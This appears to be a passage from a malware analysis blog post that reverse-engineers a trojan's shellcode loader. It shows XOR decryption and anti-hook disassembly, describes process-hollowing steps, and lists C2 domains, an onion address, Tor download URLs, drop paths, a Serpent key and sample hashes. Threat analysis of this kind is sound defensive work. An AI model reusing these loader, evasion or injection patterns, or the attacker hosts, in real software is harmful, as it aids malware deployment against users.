seg000:00001BB5                 add     eax, 1000h
seg000:00001BBA                 add     eax, ebx
seg000:00001BBC                 mov     esi, eax
seg000:00001BBE                 neg     ebx
seg000:00001BC0                 mov     edi, ebx
seg000:00001BC2 loc_1BC2:
seg000:00001BC2                 mov     eax, [edx+ecx]                    ; DWORD from the encrypted data
seg000:00001BC5                 add     ebx, esi
seg000:00001BC7                 movd    mm0, eax
seg000:00001BCA                 movd    mm1, dword ptr [ebx]              ; DWORD from the key
seg000:00001BCD                 pxor    mm0, mm1                          ; XOR
seg000:00001BD0                 push    ecx
seg000:00001BD1                 movd    ecx, mm0
seg000:00001BD4                 mov     al, cl                            ; take only the last byte
seg000:00001BD6                 pop     ecx
seg000:00001BD7                 sub     ebx, esi
seg000:00001BD9                 add     ebx, 1                            ; key + 1
seg000:00001BDC                 jnz     short loc_1BE0
seg000:00001BDE                 mov     ebx, edi
seg000:00001BE0 loc_1BE0:
seg000:00001BE0                 mov     [edx+ecx], eax                    ; store back the decrypted byte
seg000:00001BE3                 add     ecx, 1                            ; data + 1
seg000:00001BE6                 jnz     short loc_1BC2
seg000:00001BE8                 emms
seg000:00001BEA                 retn

It's odd looking assembly code, but written in C, it's pretty simple:
decryption code, implementation in Cfor(i = 0; i < data_size; i+=4) {
   *(DWORD*)&data[i] ^= *(DWORD*)&key[i%key_size];
}

Decrypting the data results in a MZ-PE executable, with removed "MZ" signature:
decrypted payload data with missing MZ signature01EE5FFF  00 00 00 90 00 03 00 00 00 04 00 00 00 FF FF 00  ................
01EE600F  00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00  ................
01EE601F  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
01EE602F  00 00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00  ................
01EE603F  00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54  ...............T
01EE604F  68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E  his program cann
01EE605F  6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53  ot be run in DOS
01EE606F  20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00   mode....$......

From here, the rest of the shellcode goes pretty straightforward:
- creates a suspended process
- rewrites the process data with the payload one
- resumes the process

Something worth mentioning is that the shellcode has anti hook protection on the NtWriteVirtualMemory, NtTerminateThread, NtOpenEvent and NtResumeThread functions.
anti hooking protection00631BEB   8B5C24 04        MOV EBX,DWORD PTR SS:[ESP+4]
00631BEF   8A03             MOV AL,BYTE PTR DS:[EBX]
00631BF1   3C E9            CMP AL,0E9                     ; JMP opcode
00631BF3   75 38            JNZ SHORT 00631C2D             ; jump if not hooked
00631BF5   31C9             XOR ECX,ECX
00631BF7   41               INC ECX                        ;/ Try to locate original EP byte
00631BF8   8A040B           MOV AL,BYTE PTR DS:[EBX+ECX]   ;|
00631BFB   3C B8            CMP AL,0B8                     ;\ MOV opcode
00631BFD  ^75 F8            JNZ SHORT 00631BF7
...snip...
00631C2D   C2 0400          RETN 4




The payload loader



Well, what do you know?
As expected, the payload turned out to be the same obfuscation layer used over a malware that attacked Bulgarian users few months ago.

Encrypted .BSS section (that holds the trojan strings), triggered by user mouse pointer interaction:
String table decryption004015F8  |> 8D4424 2C      /LEA EAX,DWORD PTR SS:[ESP+2C]
004015FC  |. 50             |PUSH EAX                                ; /pCursorinfo
004015FD  |. C74424 30 1400>|MOV DWORD PTR SS:[ESP+30],14            ; |
00401605  |. FF15 00724000  |CALL DWORD PTR DS:[<&USER32.GetCursorIn>; \GetCursorInfo
0040160B  |. 8B4424 3C      |MOV EAX,DWORD PTR SS:[ESP+3C]
0040160F  |. 2BC3           |SUB EAX,EBX
00401611  |. 2BC7           |SUB EAX,EDI
00401613  |. 034424 38      |ADD EAX,DWORD PTR SS:[ESP+38]
00401617  |. 50             |PUSH EAX                                ; /Arg1
00401618  |. E8 772F0000    |CALL payload_.00404594                  ; \payload_.00404594
0040161D  |. 8B7C24 38      |MOV EDI,DWORD PTR SS:[ESP+38]
00401621  |. 8B5C24 3C      |MOV EBX,DWORD PTR SS:[ESP+3C]
00401625  |. 8BF0           |MOV ESI,EAX
00401627  |. 83FE 0C        |CMP ESI,0C
0040162A  |.^74 CC          \JE SHORT payload_.004015F8

First let's find the piggyback table located right after the PE sections:
piggyback table004002E0  4A 31 00 00 00 20 01 00 8A 2A 04 7A 00 B2 00 00
004002F0  41 00 00 00 4A 31 00 00 05 00 01 00 A7 CE 75 4F
00400300  00 B4 00 00 00 00 03 00 4A 31 00 00 0D 00 01 00
00400310  B4 AA F8 90 00 6E 02 00 00 DC 03 00 00 00 00 00

convert it into the proper format:
formatted piggyback tablestruct UNKNOWN {
   DWORD   PIGGYBACK.egg;            // = 0x0000314A
   DWORD   PIGGYBACK.flags;          // = 0x00012000
   DWORD   PIGGYBACK.id;             // = 0x7A042A8A
   DWORD   PIGGYBACK.data_offset;    // = 0x0000B200
   DWORD   PIGGYBACK.data_size;      // = 0x00000041
}
struct X86_PAYLOAD {
   DWORD   PIGGYBACK.egg;            // = 0x0000314A
   DWORD   PIGGYBACK.flags;          // = 0x00010005
   DWORD   PIGGYBACK.id;             // = 0x4F75CEA7
   DWORD   PIGGYBACK.data_offset;    // = 0x0000B400
   DWORD   PIGGYBACK.data_size;      // = 0x00030000
}
struct X64_PAYLOAD {
   DWORD   PIGGYBACK.egg;            // = 0x0000314A
   DWORD   PIGGYBACK.flags;          // = 0x0001000D
   DWORD   PIGGYBACK.id;             // = 0x90F8AAB4
   DWORD   PIGGYBACK.data_offset;    // = 0x00026E00
   DWORD   PIGGYBACK.data_size;      // = 0x0003DC00
}

and dump the final payload.

Yep, same threat as the last time, so here's some interesting information from the trojan configuration:

CNC server (raw): pornolab.net
CNC server (TOR): cxzko43pnr7ujnte.onion
TOR client download location (x86 version): groupcreatedt.at/x32.bin
TOR client drop location (x86 version): file://%appdata%/system32.dll
TOR client download location (x64 version): groupcreatedt.at/x64.bin
TOR client drop location (x64 version): file://%appdata%/system64.dll
Serpent encryption key: Dfei8OoQ0xhjTyql

And that's all, folks!



Appendix A:



File name: sample.js
File type: JScript (JS)
File size: 54 296 bytes
File md5: 90F8F9270E5025A8DF456BF07DBC1A64

File name: jamaat.bin
File type: PE/COFF (EXE)
File size: 589 824 bytes
File md5: 85CD777C240D80ED0DD6216DEFAF4367
File compile time: 26 Feb 2017, 20:03:17

File name: jamaat_payload.bin
File type: PE/COFF (EXE)
File size: 280 064 bytes
File md5: BCF2148D924E773CB375DE77817F425D
File compile time: 26 Feb 2017, 20:01:55

File name: payload_x86.bin
File type: PE/COFF (DLL)
File size: 196 608 bytes
File md5: 595C1857A30B89CDE52D4E3AAF49519D
File compile time: 26 Feb 2017, 20:01:53

File name: payload_x64.bin
File type: PE/COFF (DLL)
File size: 252 928 bytes
File md5: B2503FB9987ED6816130A64DCF298321
File compile time: 26 Feb 2017, 20:03:17

Comments

* You have an opinion? Let us all hear it!

Guest 05 Sep, 2017 14:12
This was a great read. Thank you for posting it.
XpoZed 01 Apr, 2017 22:58
Не е точно NOP sled, понеже тук се използва, като memory space а не като landing location.

Пратих ти pass-а на мейла.
Guest 31 Mar, 2017 21:30
По отношение на интересната shellcode топология, всъщност това си е класически NOP-Sled.

P.S. Нещо, не мога да си резетна pass-а. (viz съм) :)
© nullsecurity.org 2011-2024 | legal | terms & rules | contacts